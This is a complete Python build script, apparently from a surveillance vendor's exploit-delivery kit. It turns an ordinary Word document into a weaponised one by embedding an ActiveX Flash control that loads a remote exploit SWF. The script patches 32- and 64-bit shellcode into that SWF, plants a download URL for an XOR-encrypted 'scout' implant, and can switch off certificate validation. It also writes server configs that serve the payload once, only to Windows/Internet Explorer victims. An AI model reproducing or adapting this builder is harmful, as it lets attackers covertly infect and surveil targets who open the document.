src/edn2/2013-002-Word-TLS/build
#!/usr/bin/env python
import os
import sys
import copy
import json
import glob
import zlib
import random
import shutil
import pylzma
import struct
import argparse
import platform
import tempfile
import urlparse
import subprocess
import ConfigParser
from zipfile import ZipFile
# ------- start of utils subs -------
def random_id(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0, length, 2):
id += random.choice(number)
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
out = ''
for i in range(0, len(buf)/4):
c = struct.unpack('<I', buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack('<I', c)
reminder = len(buf) % 4
for i in range(len(buf) - reminder, len(buf)):
c = struct.unpack('B', buf[i])[0]
c ^= 0x41
out += struct.pack('B', c)
return out
def byteArray2String(param):
f, tmp = tempfile.mkstemp()
os.close(f)
f = open(tmp, 'wb')
f.write(param)
f.close()
f = open(tmp, 'rb')
result = f.read()
f.close()
try:
os.unlink(tmp)
except WindowsError:
print 'I/O error when deleting {} file'.format(tmp)
return result
# ------- end of utils subs -------
# ------- start of build subs -------
def create_doc(input_docx):
# unpack zip file
if not os.path.exists("tmp"):
os.mkdir("tmp")
myzip = ZipFile(input_docx)
myzip.extractall("tmp")
myzip.close()
# update content types
buff = open("tmp/[Content_Types].xml", 'r').read()
idx = buff.lower().find("<types")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
if buff.lower().find("vnd.ms-office.activex") == -1:
buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
if buff.lower().find("image/x-wmf") == -1:
buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>'
buff2 += buff[idx+idx2:]
open("tmp/[Content_Types].xml", 'w').write(buff2)
# update rels
buff = open("tmp/word/_rels/document.xml.rels", 'r').read()
idx = buff.lower().find("</relationships>")
buff2 = buff[:idx]
buff2 += '<Relationship Target="activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/><Relationship Target="media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1001"/>'
buff2 += "</Relationships>"
open("tmp/word/_rels/document.xml.rels", 'w').write(buff2)
# update document
buff = open("tmp/word/document.xml", 'r').read()
#idx = buff.lower().find("</w:body")
#idx2 = 0
idx = buff.lower().find("<w:body")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>'
buff2 += buff[idx+idx2:]
open("tmp/word/document.xml", 'w').write(buff2)
if os.path.exists("tmp/word/activeX"):
print "[!!] Unsupported file: contains an ActiveX"
sys.exit(-1);
if not os.path.exists("tmp/word/activeX/"):
shutil.copytree("resources/activeX/", "tmp/word/activeX/")
if not os.path.exists("tmp/word/media/"):
shutil.copytree("resources/media/", "tmp/word/media/")
else:
shutil.copy("resources/media/image1000.wmf", "tmp/word/media/")
'''
params:
- target_directory: exploit files destination folder
- ip: ip hosting exploit files
- scout_name: name of the scout as installed
- scout_input_path: path of the scout provided
- docx: path of the docx provided
- output: docx with the exploit link embedded
- swf_random_name: name of the swf hosted at ip
- exe_random_name: name of the exe(scout) hosted at ip
'''
def edn_build(target_directory, ip, basedir, scout_name, scout_input_path, docx, output_file, swf_random_name, exe_random_name, expiry, validate):
print '[*] Word Exploit:\n target directory: {}\n ip: {}\n basedir: {}\n scout name: {}\n\
scout input: {}\n docx: {}\n output: {}\n swf_random_name: {}\n exe_random_name: {}\n'.format(target_directory, ip, basedir, scout_name, scout_input_path, docx, output_file, swf_random_name, exe_random_name )
# clear tmp in case there're some leftovers
for root, dirs, files in os.walk('tmp'):
for f in files:
os.unlink(os.path.join(root, f))
for d in dirs:
shutil.rmtree(os.path.join(root, d))
# check whether we're regenerating or not
if os.path.exists(os.path.join(target_directory, '.config')):
print '[*] N.B. regenerating an existing exploit'
old_stuff = os.path.join(target_directory, 'instance_{}'.format(random_id(5)))
os.mkdir(old_stuff)
shutil.move(os.path.join(target_directory, 'data'), old_stuff)
for f in glob.glob(os.path.join(target_directory, '*.ini')):
shutil.move(f, old_stuff)
shutil.move(old_stuff, os.getcwd())
os.mkdir(os.path.join(target_directory, 'data'))
create_doc(docx)
# check whether we're regenerating this exploit, i.e. '.config' file exists within the exploit root dir
config_path = os.path.join(target_directory, '.config')
if os.path.exists(config_path):
data = json.load(open(config_path))
swf_url = str(data['url'])
swf_random_name = swf_url[swf_url.rfind('/')+1:]
parsed_url = urlparse.urlparse(swf_url)
ip = parsed_url.scheme + '://' + parsed_url.netloc
basdir = parsed_url.path[1:parsed_url.path.rfind('/')]
else:
#swf_url = ip + '/' + basedir + '/' + swf_random_name
swf_url = ip + basedir + swf_random_name
open(config_path, 'w').write('{{"url": "{}"}}'.format(swf_url))
#exe_url = ip + '/' + basedir + '/' + exe_random_name
exe_url = ip + basedir + exe_random_name
print '[*] exe_url: {}'.format(exe_url)
print '[*] swf_url: {}'.format(swf_url)
scout_name = scout_name
xor_key = random.randint(0xdead, 0xdeadbeef)
# offsets within resources/shellcode
xor_offt = 0x88 * 2
url_offt = xor_offt + (0x4*2)
scout_offt = 0x110 * 2
# offsets within resources/shellcode64
xor_offt64 = 0
url_offt64 = 8
scout_offt64 = 0x88 * 2
# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
# replace :)
swf_buff = swf_buff.replace("ht-201", "abc123")
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
# --- start 32bit ---
stage2_offset = swf_buff.find(b"EFBEADDE")
if stage2_offset == 0:
print "[E] Gadget for shellcode not found"
sys.exit(-1)
print "[*] Gadget for shellcode found @ 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode 32
shellcode = open("resources/shellcode", 'rb').read()
if len(shellcode) > 5800:
print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
sys.exit(-1)
hex_shellcode = shellcode.encode('hex')
# find mov var, 0xf001f001
# 0xf001f001 -> shellcode will validate CA
# !0xf001f001 -> shellcode will not validate CA
if not validate:
flag = 'c745fc01f001f0'
position = hex_shellcode.find(flag)
if position == -1:
print('[E] could not find validate cert flag')
exit(-1)
hex_shellcode = hex_shellcode.replace(flag, 'c745fceeeeeeee')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL 32
hex_url = exe_url.encode('hex') + "0000"
print "[*] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + url_offt + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + scout_name.encode('hex') + "0000"
print "[*] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage2_offset + scout_offt + i] = hex_scout[i]
# modify xor key
hex_xorkey = ("%08x" % xor_key)
print "[*] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage2_offset + xor_offt + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + xor_offt + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + xor_offt + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + xor_offt + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + xor_offt + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + xor_offt + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + xor_offt + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + xor_offt + 7] = hex_xorkey[1]
# --- end 32bit ---
# --- start 64bit ---
# get offset to shellcode64
stage264_offset = swf_buff.find(b"CAF1ADDE")
if stage264_offset == 0:
print "[!!] Gadget for shellcode64 not found"
sys.exit(-1)
print "[*] Gadget for shellcode found @ 0x%x" %(stage264_offset)
# replace shellcode 64
shellcode64 = open("resources/shellcode64", 'rb').read()
if len(shellcode64) > (5800*2):
print "[!!] Shellcode too big: 0x%x" % (len(shellcode64))
sys.exit(-1)
hex_shellcode64 = shellcode64.encode('hex')
for i in range(len(hex_shellcode64)):
swf_bytearray[stage264_offset + i] = hex_shellcode64[i]
# modify URL 64
hex_url = exe_url.encode('hex') + "0000"
print "[*] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage264_offset + url_offt64 + i] = hex_url[i]
# modify scout name 64
hex_scout = "5c" + scout_name.encode('hex') + "0000"
print "[*] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage264_offset + scout_offt64 + i] = hex_scout[i]
# modify xor key 64
hex_xorkey = ("%08x" % xor_key)
print "[*] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage264_offset + xor_offt64 + 0] = hex_xorkey[6]
swf_bytearray[stage264_offset + xor_offt64 + 1] = hex_xorkey[7]
swf_bytearray[stage264_offset + xor_offt64 + 2] = hex_xorkey[4]
swf_bytearray[stage264_offset + xor_offt64 + 3] = hex_xorkey[5]
swf_bytearray[stage264_offset + xor_offt64 + 4] = hex_xorkey[2]
swf_bytearray[stage264_offset + xor_offt64 + 5] = hex_xorkey[3]
swf_bytearray[stage264_offset + xor_offt64 + 6] = hex_xorkey[0]
swf_bytearray[stage264_offset + xor_offt64 + 7] = hex_xorkey[1]
# --- end 64bit ---
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[*] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[*] Compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write swf to disk
open(swf_random_name, 'wb').write(output_buff)
shutil.move(swf_random_name, os.path.join(target_directory, 'data/not_really_empty.swf') )
# modify ole link
ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read()
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
print "[*] Offset to first link: 0x%x" %(ole_link_offt)
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1)
print "[*] Offset to second link: 0x%x" %(ole_link2_offt)
ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1)
print "[*] Offset to third link: 0x%x" %(ole_link3_offt)
# when the tls cert is not validated, swf is served over plain http
if not validate:
swf_url = swf_url.replace('https', 'http')
swf_url_bytearray = bytearray(swf_url + "\x00\x00")
ole_link_bytearray = bytearray(ole_link_buff)
for i in range(len(ole_link_bytearray)):
if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
y = 0
for x in range(len(swf_url_bytearray)):
ole_link_bytearray[i+y] = swf_url_bytearray[x]
ole_link_bytearray[i+y+1] = 0x0
y += 2
# dump modified ole link
open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))
# create docx
cwd = os.getcwd()
os.chdir(cwd + "/tmp")
os.system('zip -r "../{}" *'.format(os.path.basename(docx) ))
os.chdir(cwd)
# create an archive containing the docx
os.system('zip "{}" "{}"'.format(output_file, os.path.basename(docx)))
os.remove(os.path.basename(docx))
shutil.move(output_file + '.zip', output_file)
# write xored scout
open(exe_random_name, 'wb').write(four_byte_xor(open(scout_input_path, 'rb').read(), xor_key))
shutil.move(exe_random_name, os.path.join(target_directory, 'data/'))
# copy xp filter and empty.swf
shutil.copy('resources/empty.swf', os.path.join(target_directory, 'data/') )
shutil.copy('resources/xp_filter.py', os.path.join(target_directory, 'data/') )
os.chmod(os.path.join(target_directory, 'data/xp_filter.py'), 0755)
# --- generate edn configuration ---
baseconfig = {
"general": { "expiry": 0, "hits": 1 },
"valid": { },
"invalid": {"type": 404},
"filters": { 'platform_description': '/windows/i', 'browser': '/^IE$/' },
}
# swf
swf_config = copy.deepcopy(baseconfig)
swf_config['general']['pos'] = 'first'
swf_config['general']['expiry'] = expiry
swf_config['valid']['type'] = 'exec'
#swf_config['valid']['path'] = './{}'.format(swf_random_name)
swf_config['valid']['path'] = './xp_filter.py'
swf_config['valid']['headers[Content-Type]'] = 'application/x-shockwave-flash'
swf_config['related'] = {}
swf_config['related'][exe_random_name] = '+2min'
write_edn_config(target_directory, swf_random_name, swf_config)
# scout
scout_config = copy.deepcopy(baseconfig)
scout_config['general']['pos'] = 'last'
scout_config['valid']['type'] = 'data'
scout_config['valid']['path'] = './{}'.format(exe_random_name)
scout_config['valid']['header[Content-Type]'] = 'application/octet-stream'
scout_config['related'] = {}
write_edn_config(target_directory, exe_random_name, scout_config)
def write_edn_config(target_directory, filename, options):
config = ConfigParser.RawConfigParser()
# Prevent ConfigParser from transforming option names to lowercase
config.optionxform = str
for k in options:
config.add_section(k)
for optk in options[k]:
config.set(k, optk, options[k][optk])
confpath = os.path.join(target_directory, filename + ".ini")
with open(confpath, "w") as fp:
config.write(fp)
print "[*] wrote EDN config file: {}".format(confpath)
# ------- end of build subs -------
# ./build --serveraddr='192.168.0.1' --serverip='192.168.0.1' --basedir='/docs/veryrandomdir/' --outdir='outdir/' --output='output' --t
# ype='worddoc' --expiry='1413469552' --client='CUSTOMER' --type='worddoc' --agent='upload/zip.exe' --document='upload/Doc1.docx'
def main():
random.seed()
# 0] scout_name
# 1] scout input path
# 2] docx input
# 3] docx output path
parser = argparse.ArgumentParser(description='[*] Word Exploit')
parser.add_argument('--outdir', help='exploit destination folder', type=str)
parser.add_argument('--serveraddr', help='server address hostname if available', type=str)
parser.add_argument('--agent', help='input scout', type=str, required=True)
parser.add_argument('--document', help='input docx', type=str, required=True)
parser.add_argument('--output', help='output docx', type=str, required=True)
parser.add_argument('--basedir', help='base directory', type=str, required=True)
parser.add_argument('--expiry', help='expiry date', type=str, required=True)
args, unknown = parser.parse_known_args()
swf_random_name = random_id(12) + '.swf'
exe_random_name = random_id(12) + '.dat'
serveraddr = 'https://' + args.serveraddr
# validate True -> swf served in https, scout https, validate cert
# validate False -> swf served in http, scout https, don't validate cert
validate = True
# extract scout metadata
if platform.system() == 'Windows':
ouch = subprocess.check_output('python ../agentdetect.py --latest "{}"'.format(args.agent), shell=True )
else:
ouch = subprocess.check_output('agentdetect --latest "{}"'.format(args.agent), shell=True )
if ouch.strip() == 'None':
print '[E] scout provided is not up to date'
exit(-1)
scout_data = json.loads(ouch)
if scout_data['type'] != 'scout':
print '[E] executable provided is not a scout'
exit(-1)
scout_name = scout_data['name']
# build the exploit
edn_build(args.outdir, serveraddr, args.basedir, scout_name, args.agent,
args.document, args.output, swf_random_name, exe_random_name, args.expiry, validate)
if __name__ == '__main__':
main()